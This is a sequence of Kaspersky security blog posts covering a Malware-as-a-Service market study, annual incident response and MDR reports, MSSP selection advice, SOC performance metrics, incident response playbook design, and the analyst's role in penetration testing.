Money is the root of all evil, including cybercrime. Thus, it was inevitable that malware creators would one day begin not only to distribute malicious programs themselves, but also to sell them to less technically proficient attackers, thereby lowering the threshold for entering the cybercriminal community. The Malware-as-a-Service (MaaS) business model emerged as a result of this, allowing malware developers to share the spoils of affiliate attacks and lowering the bar even further. We have analyzed how MaaS is organized, which malware is most often distributed through this model, and how the MaaS market depends on external events.
We studied data from various sources, including the dark web, identified 97 families spread by the MaaS model from 2015, and broke these down into five categories by purpose: ransomware, infostealers, loaders, backdoors, and botnets.
As expected, most of the malware families spread by MaaS were ransomware (58%), infostealers comprised 24%, and the remaining 18% were split between botnets, loaders, and backdoors.
Malware families distributed under the MaaS model from 2015 through 2022
Despite the fact that most of the malware families detected were ransomware, the most frequently mentioned families in dark web communities were infostealers. Ransomware ranks second in terms of activity on the dark web, showing an increase since 2021. At the same time, the total number of mentions of botnets, backdoors, and loaders is gradually decreasing.
Trends in the number of mentions of MaaS families on the dark web and deep web, January 2018 – August 2022
There is a direct correlation between the number of mentions of malware families on the dark and deep web and various events related to cybercrime, such as resonant cyberattacks. Using operational and retrospective analysis, we identified the main events leading to a surge in the discussion of malware in each category.
Thus, in the case of ransomware, we studied the dynamics of mentions using five infamous families as an example: GandCrab, Nemty, REvil, Conti, and LockBit. The graph below highlights the main events that influenced the discussion of these ransomware families.
Number of mentions of five ransomware families distributed under the MaaS model on the dark web and deep web, 2018–2022
As we can see in the graph above, the termination of group operations, arrests of members, and deletion of posts on hidden forums about the spread of ransomware fail to stop cybercriminal activity completely. A new group replaces the one that has ceased to operate, and it often welcomes members of the defunct one.
Malefactors providing MaaS are commonly referred to as operators. The customer using the service is called an affiliate, and the service itself is called an affiliate program. We have studied many MaaS advertisements, identifying eight components inherent in this model of malware distribution. A MaaS operator is typically a team consisting of several people with distinct roles.
For each of the five categories of malware, we have reviewed in detail the different stages of participation in an affiliate program, from joining in to achieving the attackers’ final goal. We have found out what is included in the service provided by the operators, how the attackers interact with one another, and what third-party help they use. Each link in this chain is well thought out, and each participant has a role to play.
Below is the structure of a typical infostealer affiliate program.
Infostealer affiliate program structure
Cybercriminals often use YouTube to spread infostealers. They hack into users’ accounts and upload videos with crack ads and instructions on how to hack various programs. In the case of MaaS infostealers, distribution relies on novice attackers, traffers, hired by affiliates. In some cases, it is possible to de-anonymize a traffer by having only a sample of the malware they distribute.
Translation:
Pontoviy Pirozhok (“Cool Cake”)
Off to work you go, dwarves!
Telegram profile of an infostealer distributor
Monitoring the darknet and knowing how the MaaS model is structured and what capabilities attackers possess, allows cybersecurity professionals and researchers to understand how the malicious actors think and to predict their future actions, which helps to forestall emerging threats. To inquire about threat monitoring services for your organization, please contact us at: dfi@kaspersky.com.
To get the full version of the report “Understanding Malware-as-a-Service” (PDF) fill in the form below.
Kaspersky offers various services to organizations that have been targeted by cyberattackers, such as incident response, digital forensics, and malware analysis. In our annual incident response report, we share information about the attacks that we investigated during the reporting period. Data provided in this report comes from our daily interactions with organizations seeking assistance with full-blown incident response or complementary expert services for their internal incident response teams.
Download the full version of the report (PDF)
In 2022, 45.9% of organizations that encountered cyberincidents were in Russia and the CIS region, followed by the Middle East (22.5%), the Americas (14.3%), and Europe (13.3%).
From an industry perspective, we offered help to government (19.39%), financial (18.37%), and industrial (17.35%) organizations most frequently.
In 2022, attackers most often penetrated organizations’ infrastructure by exploiting various vulnerabilities in public-facing applications (42.9%). However, compared to 2021, the share of this initial attack vector decreased by 10.7 pp, while the share of attacks involving compromised accounts (23.8%) grew. Malicious e-mail sharing among the initial attack vectors continued to go down and comprised 11.9% in 2022.
In 39.8% cases the reported incidents were related to ransomware attacks. Encrypted data remains the number-one problem that our customers are faced with. However, compared to 2021, the number of ransomware-related incidents dropped, and not every attack involving file encryption was aimed at extracting a ransom. In some of these incidents, ransomware was used to hide the initial traces of the attack and complicate the investigation.
To protect your organization against cyberattacks, Kaspersky experts recommend the following:
To learn more about incident response in 2022, including a MITRE ATT&CK tactics and techniques heatmap, and distribution of various incidents by region and industry, download the full version of the report (PDF).
For a deeper analysis of the vulnerabilities most commonly exploited by cyberattackers, download this appendix (PDF).
]]>Kaspersky Managed Detection and Response (MDR) is a service for 24/7 monitoring and response to detected incidents based on technologies and expertise of Kaspersky Security Operations Center (SOC) team. MDR allows detecting threats at any stage of the attack – both before anything is compromised and after the attackers have penetrated the company’s infrastructure. This is achieved through preventive security systems and active threat hunting – the essential MDR components. MDR also features automatic and manual incident response and expert recommendations.
The annual Kaspersky Managed Detection and Response analytical report sums up the analysis of incidents detected by Kaspersky SOC team. The report presents information on the most common offensive tactics and techniques, the nature and causes of incidents and gives a breakdown by country and industry.
In 2022, Kaspersky MDR processed over 433,000 security events. 33% of those (over 141,000 events) were processed using machine learning technologies, and 67% (over 292,000) were analyzed manually by SOC analysts.
Over 33,000 security events were linked to 12,000 real incidents. Overall, 8.13% of detected incidents were of high, 71.82% of medium, and 20.05% of low severity.
72% of 2022 incidents were detected based on a single security event, after which the attack was stopped right away. Of these, 4% were of high, 74% of medium, and 22% of low severity.
On average, in 2022, a high severity incident took the SOC team 43.8 minutes to detect. The 2022 figures for medium and low severity incidents are 30.9 and 34.2, respectively.
In 2022, 44% of incidents were detected in European organizations. Russia and CIS are in second place with a quarter of all detected incidents. Another 15% of incidents relate to organizations from the Asia-Pacific.
Industry-wise, industrial organizations suffered more incidents than any. Most of the critical incidents were detected in government agencies, industrial and financial organizations. It is worth noting though that a fair share of critical incidents across financial organizations was due to Red Teaming events.
For effective protection from cyberattacks, these are Kaspersky SOC team’s recommendations to organizations:
See the full version of the report (PDF) for more information on the incidents detected in 2022, main offensive tactics and techniques, MITRE ATT&CK classification of incidents, and detection methods. To download it, please, fill in the form below.
Managed Security Service Providers (MSSPs) have become an increasingly popular choice for organizations nowadays following the trend to outsource security services. Meanwhile, with the growing number of MSSPs in the market, it can be difficult for organizations to determine which provider will fit in the best way. This paper aims to provide guidance for organizations looking to select an MSSP and help to identify the benefits and drawbacks of using an MSSP.
To make an all-round choice, let’s try to answer the following questions:
First, let’s start with what services we can expect. Here are some of the most common security services provided by MSSPs:
Security Monitoring
24/7 monitoring of the organization’s network, systems, and applications to identify potential security threats and anomalies; can be provided as an on-premises solution (when data must not leave the customer infrastructure) or as a service.
Incident Response (IR)
Responding to security incidents and breaches, investigating, and containing the incident. Incident Response can be provided in multiple forms, from recommendations for the customer IR team to pre-agreed response actions in the customer environment.
Managed Detection and Response (MDR)
A combination of the previous two services. Usually, MDR is considered an evolution of classic monitoring and response services due to the utilization of advanced threat-detection techniques. Also, MDR supports embedded response capabilities within the platform, which are supplied and fully managed by the service provider.
Threat Intelligence (TI)
Provision of intelligence on current and emerging threats to the organization’s security. The best-known and simplest form of TI is IoC feeds that indicate the presence in the customer environment of known signs of attacks. But there are other deliverables, too, focused on different maturity levels of TI consumers within the organization.
Note that the use of TI requires an in-house security team, so it is not possible to fully outsource it. TI data has to be applied internally to bring value.
Managed Security Solutions
Multiple services focused on administering security solutions that are deployed in customer environments. These services are commonly bundled if the customer wants on-premise deployment of MSSP technologies.
There is an extended set of services not directly involved in day-to-day operations, but still valuable on a one-time or regular basis.
Digital Forensics and Incident Response (DFIR) or Emergency Incident Responder
The ultimate form of incident response that provides a full-scale DFIR service in case of critical incidents in the customer environment.
Malware Analysis
A narrow-focus service providing extended reporting and behavior analysis of submitted malware. The service requires an in-house team to properly utilize the analysis results.
Security Assessment
A group of services focused on the identification of target infrastructure or application vulnerabilities, weaknesses, and potential attack vectors. Among the best-known services are penetration testing, application security assessment, red teaming, and vulnerability assessment.
Attack Surface Management (ASM)
A service focused on the collection of information related to the organization’s public-facing assets.
Digital Footprint Intelligence (DFI)
A service focused on searching for, collecting, and analyzing organization-related threats in external sources. Typical deliverables include information about leaked accounts, organization-related tracks in malware logs, post and advertisements for the sale of infrastructure access, and a list of actors who can target the organization. Clearly, DFI replaced many TI tasks related to external sources processing.
As we can see, some services can replace the overall function of the in-house team (monitoring, MDR, assessment), while others can be considered as additional support for the existing team (TI, malware analysis, DFIR). The overall scenario of MSSP usage – whenever the function is required and can’t be provided within the organization. So, a key task for the organization is to define its needs, priorities, and available resources.
Switching to MSSP involvement scenarios can provide significant value.
The typical one: you need to establish a specific function quickly. In such cases, an MSSP will save you time and money, and provide value in the short term. This case is applicable whenever you want to implement or test some additional services in your SOC.
You have to build a security function from scratch. Even if, in the end, all security services should be built in-house, the involvement of an MSSP will be a good idea, since like in scenario 1 it helps to get the service up and running. Later, you can transfer specific services to the in-house team, considering all service aspects and expertise obtained from the MSSP by your team. At the same time, such an approach will help you to implement security functions step-by-step, replacing MSSP services one by one, focusing on one topic at a time, and avoiding security interruptions due to missing services.
You need extensive growth. Whenever your business is growing, cybersecurity cannot always follow with the same speed. Especially in cases of company mergers and acquisitions, the IT landscape jumps to a new level that cannot be covered promptly by an in-house team. This case can transform into scenario 1 or 2, depending on the nature of this growth. If it’s a one-time event, probably later you’d like to transfer the function to the in-house team, when it will be ready to handle the new volume.
Besides specific cases, there are common reasons to support engaging an MSSP over developing in-house capability. Here are some of them:
Lack of In-House Expertise
Many organizations do not have the necessary in-house expertise to effectively manage and respond to security threats. Some roles and functions require deep knowledge and continuous growth of expertise, which cannot be maintained within the organization. At the same time, an MSSP has a chance to work simultaneously with multiple customers, therefore the intensity of incidents and conducted investigations are much higher and generates more experience for MSSP teams.
Resource Constraints
Smaller organizations may not have the resources to build and manage a comprehensive security program. An MSSP can provide the necessary security services to help these organizations mitigate security risks without having to hire a full security team and, in more complex cases, to maintain this full-scale team in the long term.
Cost Savings
It can be expensive to build and maintain an in-house security program. Outsourcing security services to an MSSP can be a more cost-effective solution, particularly for smaller organizations. Also, the MSSP approach allows you to spread the budget over time, since establishing a service in-house requires significant investments from day one.
Scalability
Fast-growing organizations may find it difficult to scale their security program at the same pace. An MSSP can provide scalable security services able to grow with the organization.
Flexibility
In case of outsourcing, it is much easier to manage the level of service, from playing with the SLA options for a particular MSSP to changing provider every time the preconditions change or a better proposal emerges in the market.
Overall, an MSSP can help organizations improve their security posture, manage risk, and ensure compliance while optimizing costs and resource constraints. Considering the reasons for involving an MSSP, to complete the picture, we must mention not only the pros but the cons as well. Possible stop factors to think twice about are:
Increasing risk
Every new partner extends the potential attack surface of your organization. During the contract lifetime, you should consider the risks of MSSP compromise and supply-chain attacks on the service, especially if the MSSP has a high level of privileges (usually required under a contract for advanced Incident Response). The provider can mitigate the risk by demonstrating complex cybersecurity program, applied by their infrastructure and independent assessments.
Also, it’s important to off-board the MSSP correctly in case of contract termination. This off-boarding should include careful access revocation and rollback of all changes done in the network, configurations, etc.
Lack of understanding
Do you know what is within your infrastructure, and how business processes are tied to the IT environment? What is typical and normal in your network? Do you have an asset DB? What about an account registry and a list of full regularly reviewed privileges? I guess not all answers were positive. Bad news: the MSSP will have an even less clear understanding of what is within the protected environment, since its only trustful source of information is you.
Need to control the MSSP
It is essential to conduct a thorough analysis and evaluation of every service contract, particularly when it comes to selecting an MSSP. To achieve this, an expert from within the organization should be assigned to handle the contract and carefully scrutinize all details, conditions, and limitations. Additionally, the service delivery should be closely observed and evaluated throughout the lifetime of the contract. Generally, this means that it is not possible to entirely outsource the security function without establishing at least a small security team in-house. Moreover, the output from the service should be processed by an internal team, especially in cases where incidents, anomalies, or misconfigurations are detected.
The decision between using an MSSP or building an in-house SOC for small and medium-sized business (SMB) can depend on various factors, including the organization’s budget, resources, and security needs. Here are some MSSP benefits provided in SMB cases:
Expertise
MSSP can provide a level of expertise in security that may not be available in-house, particularly for smaller organizations with limited security resources. Commonly, SBM does not have a security team at all.
Cost
Building an in-house SOC is an expensive way that includes the cost of hiring experienced security professionals, investing in security tools and technologies, and building a security infrastructure.
Scalability
As an SMB grows, its security needs may also grow. An MSSP can provide scalable security services that can grow with the organization without investing in additional security resources.
Overall, for many SMBs, outsourcing security services to an MSSP can be a more cost-effective solution than building an in-house SOC.
For large enterprises, as in other complex cases, the answer will be “it depends.” There are a lot of factors to be considered.
Considering the pros and cons of outsourcing security services, I suggest finding the right balance. One balanced way can be a hybrid approach in which the organization builds some services in-house and outsources others.
The first variation of the hybrid approach is to build core functions (like Security Monitoring, Incident Response, etc.) by yourself and outsource everything that would make no sense to build in-house. Such an approach lets you build strong core functions and not waste time and resources on functions that require narrow skills and tools. Any MSSP services we have mentioned in the extended category are good candidates for such an approach.
Another variant of the hybrid approach is to develop the expertise of incident responders, who know the environment and are able to respond to advanced attacks. Incident detection and initial analysis in this case can be outsourced, which gives better scalability and the ability to focus on serious matters.
The transition approach fits the conditions when you need to build a security function right here and now, but still focus on the later development of an in-house SOC. So, you can start with outsourcing security services and gradually replacing them one by one with in-house functions, whenever the team, technologies, and resources will be ready.
As a very first step, we have to define our needs, the services we are looking for, and the overall strategy we are going to follow in outsourcing security services, considering everything we have discussed before.
The next step is to choose the right provider. Here are the criteria to keep in mind during the screening procedure:
Look for expertise and experience
Choose an MSSP with the necessary expertise. Pay attention to experience with clients in your region/industry as well as well-known global players. Consider the number of years in the market – it is usually simpler to find a proven partner than take a chance with a disruptive new player.
Threat detection and cyberthreat hunting are related to security research. Check if the MSSP has appropriate research capabilities that can be measured by number and depth of publications related to new APT groups, tools and techniques used, and methods of detection and investigation.
Another significant point is the team. All services are provided by individual people, so make sure that the MSSP employs qualified personnel with the required level of education and world-recognized certification.
Consider the MSSP’s technology
Ensure that the MSSP uses relevant tool and technologies to provide effective security solutions. A simple example: if the MSSP is focused on Windows protection, that will not fit an environment built on Unix. There are more nuances regarding MSSP technology platforms, which we will come back to later.
Check for compliance
Ensure that the MSSP follows industry compliance regulations and standards if applicable to your business.
Evaluate customer experience and support
Find references and success stories and collect feedback from other companies – clients of the potential service provider. Focus on customer support experience, including responsiveness, availability, and expertise.
Consider SLA
Type, what metrics are used, and how are these metrics tracked and calculated. And, of course, SLA target values that can be provided by the vendor.
Consider the cost
Compare the cost of MSSP services from different providers and choose the one that, other things being equal, offers the best value for your business.
Security
Does the vendor pay attention to the security topic: cybersecurity hygiene, regular assessments by external experts? That is only a small part to check if you don’t want to lower your protection.
Ask for proof of concept (PoC)
Mature players provide a test period, so you can have hands-on experience with most aspects of service provision and deliverables.
The technology question is a bit tricky. In most cases, we can split MSSPs into two big groups: the first use enterprise solutions, the second self-developed tools or open source with customization.
The first group needs to share their revenue with the vendor providing technology, but if later you decide to build an on-prem SOC platform, the migration can be simplified if you choose the same vendor platform. Also, you won’t need to implement too many changes in your environment. Furthermore, if the organization intends to adopt a transition approach and establish an in-house SOC based on a specific technology, the use of an MSSP with the corresponding technical solution can serve as an “extended test drive” for the chosen platform.
The second group usually focuses on a highly custom solution that lets the MSSP fine-tune the technology platform for better results. In a lot of cases, this can be a conglomerate of multiple tools and platforms, integrated to provide more advanced detection and analysis methods. Commonly this platform cannot be adopted by customers for independent usage.
Another question we should mention: is it worth splitting services between multiple providers? On the one hand, such diversity can help to choose the best provider for specific services; on the other, you can feel the synergy of multiple services provided by the same vendor in a bundle. E.g., if you have monitoring from one provider, the provision of DFIR by the same company will create positive synergy due to the ability to exchange information about historical incidents and to continuously monitor DFIR IoCs.
Buying defensive services, don’t forget about offensive assessments, and checking contract conditions for to conduct red teaming, pen tests or conducting cyber ranges. Any type of assessment will be valuable to proof MSS value and train your team.
When selecting an MSSP, it is important for organizations to keep their security goals in mind and align them with the criteria used for evaluation. With a large number of players in the market, it is always possible to choose the one that best meets the organization’s specific requirements and strategy. Careful consideration of factors such as service offerings, reputation, technology, and cost will help organizations find the right MSSP to meet their security needs.
]]>The security operations center (SOC) plays a critical role in protecting an organization’s assets and reputation by identifying, analyzing, and responding to cyberthreats in a timely and effective manner. Additionally, SOCs also help to improve overall security posture by providing add-on services like vulnerability identification, inventory tracking, threat intelligence, threat hunting, log management, etc. With all these services running under the SOC umbrella, it pretty much bears the burden of making the organization resilient against cyberattacks, meaning it is essential for organizations to evaluate the effectiveness of a cybersecurity operations center. An effective and successful SOC unit should be able to find a way to justify and demonstrate the value of their existence to stakeholders.
Apart from revenue and profits, there are two key principles that drive business success:
The same principles are applied to any organization or entity that is running a SOC, acting as a CERT, or providing managed security services to customers. So, how do we ensure the services being provided by security operations centers are meeting expectations? How do we know continuous improvement is being incorporated in daily operations? The answer lies in the measurement of SOC internal processes and services. By measuring the effectiveness of processes and services, organizations can assess the value of their efforts, identify underlying issues that impact service outcomes, and give SOC leadership the opportunity to make informed decisions about how to enhance performance.
Let’s take a closer look at how we can make sure routine security operations are providing services within the normal parameters to a business or subscribed customers. This is where metrics, service-level indicators (SLIs) and key performance indicators (KPIs) come into play; metrics provide a quantitative value to measure something, KPIs set an acceptable value on a key metric to evaluate the performance of any particular internal process, and SLIs provide value to measure service outcomes that are eventually linked with service SLAs. With regard to KPIs, if the metric value falls into the range of a defined KPI value, then the process is deemed to be working normally; otherwise, it provides an indication of reduced performance or possibly a problem.
The following figure clarifies the metric types generally used in SOCs and their objectives:
One important thing to understand here is that not all metrics need a KPI value. Some of the metric, such as monitoring ones, are required to be measured for the informational purpose. This is because they provide valuable support to track functional pieces of SOC operations where their main objective is to assist SOC teams in forecasting problems that could potentially decrease the operational performance.
The following section provides some concrete examples to reinforce understanding:
Example 1: Measuring analysts’ wrong verdicts
Process | Metric Name | Type | Metric Description | Target |
Security monitoring process | Wrong verdict | KPI (internal) | % of alerts wrongly triaged by the SOC analyst | 5% |
This example involves the evaluation of a specific aspect of the security monitoring process, namely the accuracy of SOC analyst verdicts. Measuring this metric can aid in identifying critical areas that may affect the outcome of the security monitoring process. It should be noted that this metric is an internal KPI, and the SOC manager has set a target of 10% (target value is often set based on the existing levels of maturity). If the percentage of this metric exceeds the established target, it suggests that the SOC analyst’s triage skills may require improvement, hence providing valuable insight to the SOC manager.
Example 2: Measuring alert triage queue
Process | Metric Name | Type | Metric Description | Target |
Security monitoring process | Alert triage queue | Monitoring metric | Number of alerts waiting to be triaged | Dynamic |
This specific case involves assessment of a different element of the security monitoring process – the alert triage queue. Evaluating this metric can provide insights into the workload of SOC analysts. It is important to note that this is a monitoring metric, and there is no assigned target value; instead, it is classified as a dynamic value. If the queue of incoming alerts grows, it indicates that the analyst’s workload is increasing, and this information can be used by SOC management to make necessary arrangements.
Example 3: Measuring time to detect incidents
Service | Metric Name | Type | Metric Description | Target |
Security monitoring service | Time to detect | SLI | Time required to detect a critical incident | 30 minutes |
In this example, the effectiveness of the security monitoring service is evaluated by assessing the time required to detect a critical incident. Measuring this metric can provide insights into the efficiency of the security monitoring service for both internal and external stakeholders. It’s important to note that this metric is categorized as a service-level indicator (SLI), and the target value is set at 30 minutes. This target value represents a service-level agreement (SLA) established by the service consumer. If the time required for detection exceeds the target value, it signifies an SLA breach.
Evaluating the everyday operations of a practical SOC unit can be challenging due to the unavailability or inadequacy of data, and gathering metrics can also be a time-consuming process. Therefore, it is essential to select suitable metrics (which will be discussed later in the article) and to have the appropriate tools and technologies in place for collecting, automating, visualizing, and reporting metric data.
The other essential element in the overall success of security operations is ‘continuous improvement’. SOC leadership should devise a program where management and SOC employees get an opportunity to create and pitch ideas for improvement. Once ideas are collected from different units of security operations, they are typically evaluated by management and team leads to determine their feasibility and potential impact on the SOC goals. The selected ideas are then converted into initiatives along with the corresponding metrics and desired state, and lastly their progress is tracked and evaluated to measure their results over a period of time. The goal of creating initiatives through ideas management is to encourage employee engagement and continuously improve SOC processes and operations. Typically, it is the SOC manager and lead roles who undertake initiatives to fix technical and performance-related matters within the SOC.
A high-level flow is depicted in the figure below:
Whether it is for routine security operations or ongoing improvement efforts, metrics remain a common parameter for measuring performance and tracking progress.
Three common problems that we often observe in real-world scenarios are:
Example: Initiative to improve analyst triage verdicts
Revisiting ‘example 1’ presented in the ‘Measuring routine operations’ section, let us assume that the percentage of incorrect verdicts detected over the past month was 12%, indicating an issue that requires attention. Management has opted to provide additional training to the analysts with the goal of reducing this percentage to 5%. Consequently, the effectiveness of this initiative must be monitored for the specified duration to determine if the target value has been attained. It’s important to note that the metric, ‘Wrong verdicts’, remains unchanged, but the current value is now being used to evaluate progress towards the desired value of 5%. Once significant improvements are implemented, the target value can be adjusted to further enhance the analysts’ triage skills.
SOCs generally do measure their routine operations and improvements using ‘metrics’. However, they often struggle to recognize if these metrics are supporting the decision-making process or showing any value to the stakeholders. Hunting for meaningful metrics is a daunting task. The common approach we have followed in SOC consulting services to derive meaningful metrics is to understand the specific goals and operational objectives of security operations. Another proven approach is the GQM (Goal-Question-Metric) system that involves a systematic, top-down methodology for creating metrics that are aligned with an organization’s goals. By starting with specific, measurable goals and working backwards to identify the questions and metrics needed to measure progress towards those goals, the GQM approach ensures that the resulting metrics are directly relevant to the SOC’s objectives.
Let’s illustrate our approach with an example. If a SOC is acting as a financial CERT, it is likely to focus on responding to incidents related to the financial industry, tracking and recording financials threats, providing advisory services, etc. Once the principal goals of the CERT are realized, the next step is to identify metrics that directly influence the CERT services outcomes.
Example: Metric identification
Goal | Question | Metric |
Ensure participating financial institutions are informed about latest threat | How can we determine the amount of time the CERT is taking to notify other financial institutions? | Time it takes to notify participant banks after threat discovery |
Similarly, for operational objectives, metrics are identified to track and measure processes that support financial CERT operations. This also leads to the issue of prioritizing metrics, as not all metrics hold the same level of importance. In fact, when selecting metrics, it is crucial to prioritize quality over quantity and therefore it is recommended to limit the collection of metrics to sharpen focus and increase efficiency. In order to emphasize the importance of prioritizing metrics, the metrics that directly support CERT goals take precedence over metrics supporting operational objectives because ultimately it is consumers and stakeholders who evaluate the services rendered.
To determine the appropriate metrics, several factors should be taken into account:
An incident response playbook is a predefined set of actions to address a specific security incident such as malware infection, violation of security policies, DDoS attack, etc. Its main goal is to enable a large enterprise security team to respond to cyberattacks in a timely and effective manner. Such playbooks help optimize the SOC processes, and are a major step forward to SOC maturity, but can be challenging for a company to develop. In this article, I want to share some insights on how to create the (almost) perfect playbook.
Imagine your company is under a phishing attack — the most common attack type. How many and what exact actions should the incident response team take to curb the attack? The first steps would be to find if an adversary is present and how the infrastructure had been penetrated (whether though an infected attachment or a compromised account using a fake website). Next, we want to investigate what is going on within the incident (whether the adversary persists using scheduled tasks or startup scripts) and execute containment measures to mitigate risks and reduce the damage caused by the attack. All these have to be done in a prompt, calculated and precise manner—with the precision of a chess grandmaster — because the stakes are high when it comes to technological interruptions, data leaks, reputational or financial losses.
Depending on organization, the incident response process will comprise different phases. I will consider one of the most widespread NIST incident response life cycles relevant for most of the large industries — from oil and gas to the automotive sector.
The scheme includes four phases:
All the NIST cycles (or any other incident response workflows) can be broken down into “action blocks”. In turn, the latter can be combined depending on specific attack for a timely and efficient response. Every “action” is a simple instruction that an analyst or an automated script must follow in case of an attack. At Kaspersky, we describe an action as a building block of the form: <a subject> does <an action> on <an object> using <a tool>. This building block describes how a response team or an analyst (<a subject>) will perform a special action (<an action>) on a file, account, IP address, hash, registry key, etc. (<an object>) using systems with the functionality to perform that action (<a tool>).
Defining these actions at each phase of the company’s workflow helps to achieve consistency and create scalable and flexible scenarios, which can be promptly modified to accommodate changes in the infrastructure or any of the conditions.
An example of a common response action
The first phase of any incident response playbook is devoted to the Preparation phase of the NIST incident response life cycle. Usually the preparation phase includes many different steps such as incident prevention, vulnerability management, user awareness, malware prevention, etc. I will focus on the step involving playbooks and incident response. Within this phase it is vital to define the alert field set and its visual representation. For the response team’s convenience, it is a good idea to prepare different field sets for each incident type.
A good practice before starting is to define the roles specific to the type of incident, as well as the escalation scenarios, and to dedicate the communication tools that will be used to contact the stakeholders (email, phone, instant messenger, SMS, etc.). Additionally, the response team has to be provided with adequate access to security and IT systems, analysis software and resources. For a timely response and to avoid human factor errors, automations and integrations need to be developed and implemented, that can be launched by the security orchestration, automation and response (SOAR) system.
The next important phase is Detection that involves collecting data from IT systems, security tools, public information, and people inside and outside the organization, and identifying the precursors and indicators. The main thing to be done during this phase is configuring a monitoring system to detect specific incident types.
In the Analysis phase, I would like to highlight several blocks: documentation, triage, investigation, and notification. Documentation helps the team to define the fields for analysis and how to fill them once an incident is detected and registered in the incident management system. That done, the response team moves on to triage to perform incident prioritization, categorization, false positive checks, and searches for related incidents. The analyst must be sure that the collected incident data comply with the rules configured for detection of specific suspicious behavior. If the incident data and rule/policy logic mismatch, the incident may be tagged as a false positive.
The main part of the analysis phase is investigation, which comprises logging, assets and artifact enrichment, and incident scope forming. When in research mode, the analyst should be able to collect all the data about the incident to identify patient zero and the entry point — knowing how unauthorized access was obtained and which host/account had been compromised first. It is important because it helps to properly contain the cyberattack and prevent similar ones in the future. By collecting incident data one gets information about specific objects (assets and artifacts such as hostname, IP address, file hash, URL, and so on) relating to the incident, so one can extend the incident scope by them.
Once the incident scope is extended, the analyst can enrich assets and artifacts using the data from Threat Intelligence resources or a local system featuring inventory information, such as Active Directory, IDM, or CMDB. Based on the information on the affected assets, the response team can measure the risk to make the right choice of further actions. Everything depends of how many hosts, users, systems, business processes, or customers have been affected, and there are several ways to escalate the incident. For a medium risk, only the SOC manager and certain administrators must be notified to contain the incident and resolve the issue. In a critical risk case, however, the crisis team, HR department, or the regulatory authority must be notified by the response team.
The last component of the analysis phase is notification, meaning that every stakeholder must be notified of the incident in timely manner, so the system owner can step in with effective containment and recovery measures.
Detection and Analysis phase actions to analyze the incident
The following big part consists of Containment, Eradication and Recovery phases. The main goal of containment is to keep the situation under control after an incident has occurred. Based on incident severity and possible damage caused, the response team should know the proper set of containment measures.
Following the prestage where workflows had been defined, we now have a list of different object types and possible actions that can be completed using our tool stack. So, with a list of actions in hand, we just want to choose proper measures based on impact. This stage mostly defines the final damage: the smoother and more precise the actions the playbook suggests for this phase, the prompter will be our response to block the destructive activity and minimize the consequences. During the containment process, the analyst performs a number of different actions: deletes malicious files, prevents their execution, performs network host isolation, disables accounts, scans disks with the help of security software, and more.
The eradication and recovery phases are similar and consist of procedures meant to put the system back into operation. The eradication procedures include cleaning up all traces of the attack—such as malicious files, created scheduled tasks and services—and depend on what traces were left following the intrusion. During the recovery process, the response team should simply adopt a ‘business as usual’ stance. Just as the eradication, the recovery phase is optional, because not every incident impacts the infrastructure. Within this phase we perform certain health check procedures and revoke changes that had been made during the attack.
Incident containment steps and recovery measures
The last playbook phase is Post-incident activity, or Lesson learning. The phase is focused on how to improve the process. To simplify this task, we can define a set of questions to be answered by the incident response team. For example:
Answering these questions will enable the response team to update the knowledge base, improve the detection and prevention mechanism, and adjust the next response plan.
To develop a cybersecurity incident response playbook, we need to figure out the incident management process with focus on phases. As we go deeper into the details, we look for tools/systems to help us with the detection, investigation, containment, eradication, and recovery phases. Once we know our set of tools, we can define the actions that can be performed:
Additionally, we want to define responsibilities within the response team, for each team member must know what his or her mission-critical role is. Once the preparation is done, we can begin developing the procedures that will form the playbook. As a common rule, every procedure or playbook building block looks like “<a subject> does <an action> on <an object> using <a tool>”—and now that all subjects, actions, objects, and tools have been defined, it is pretty easy to combine them to create procedures and design the playbook. And of course, keep in mind and stick to your response plan and its phases.
]]>Penetration testing is something that many (of those who know what a pentest is) see as a search for weak spots and well-known vulnerabilities in clients’ infrastructure, and a bunch of copied-and-pasted recommendations on how to deal with the security holes thus discovered. In truth, it is not so simple, especially if you want a reliable test and useful results. While pentesters search for vulnerabilities and put a lot of effort into finding and demonstrating possible attack vectors, there is one more team member whose role remains unclear: the cybersecurity analyst. This professional takes a helicopter view of the target system to properly assess existing security holes and to offer the client a comprehensive picture of the penetration testing results combined with an action plan on how to mitigate the risks. In addition to that, the cybersecurity analyst formulates a plan in the business language that helps the management team, including the C-level, to understand what they are about to spend money on.
Drawing on Kaspersky’s expertise with dozens of security assessment projects, we want to reveal the details of the analyst’s role on these projects: who they are, what they do, why projects carried out together by pentesters and an analyst are much more useful for clients.
In general, an analyst is a professional who works on datasets. For example, we all know about financial analysts who evaluate the efficiency of financial management. There are more than one type of analyst in the field of information security:
Speaking of the analyst on a security assessment project, their role is to link together the pentester, the manager, and the client. At Kaspersky for example, an analyst contributes to nearly all security assessment projects, such as penetration testing, application security assessment, red teaming, and other. The goals and target scope of these projects can be different: from searching for vulnerabilities in an online banking application to identifying attack vectors against ICS systems and critical infrastructure assets. Team composition can change, so the analyst works with experts from many areas, enriching the project and sharing the expertise with the client.
It is possible to distinguish the following stages of analyst work in the security assessment process:
Next, we will go over each of these steps in detail.
The analyst begins by gathering information about the organization before the security testing conducted by pentesters can begin. The analyst studies public resources to learn about the business systems and external resources, and collects technical information about the target systems: whether the software was custom-built, provided by a vendor, or created from an open-source codebase, what programming language was used, and so on. They also look up known data leaks that may link to client employees and compromised corporate credentials. Often, this data is offered for sale on the dark web, and the analyst’s job is to detect these mentions and warn the client. All this information is collected to discover potential attack vectors and negotiate a project scope with the client. Potential attack vectors will then be explored by pentesters. For example, publicly available employee data can be used for social engineering attacks or to gain access to company resources, and information about the software can be used to find known vulnerabilities.
Here is an example from one of our security assessment projects where information-gathering by the analyst helped to identify a new attack vector. The analyst successfully used the Kaspersky Digital Footprint Intelligence service to find compromised employee credentials on the dark web. With the client’s approval, a pentester attempted to authenticate with one of the company’s external services using these credentials and finding that they were valid. Seeing how the client’s network perimeter was highly secured and all public-facing services, properly protected with authentication, the case clearly demonstrated that even a well-hardened infrastructure could be vulnerable to OSINT and threat intelligence.
A diagram of the penetration testing project where the information gathering by the analyst helped to identify a new attack vector
At this stage, we have agreed with the client on a project scope, and pentesters are running an instrumental network scan to identify the client’s public-facing services and open ports. In our experience, the state of network perimeter cybersecurity in most organizations is far from perfect, but due to project constraints, pentesters typically target only a small number of perimeter security flaws. The analyst examines the network scan outputs and highlights the key issues. Their goal is to gather detailed information about insufficient network traffic filtering, use of insecure network protocols, exposure of remote management and DBMS access interfaces, and other possible vulnerabilities. Otherwise, the client will not see the full picture.
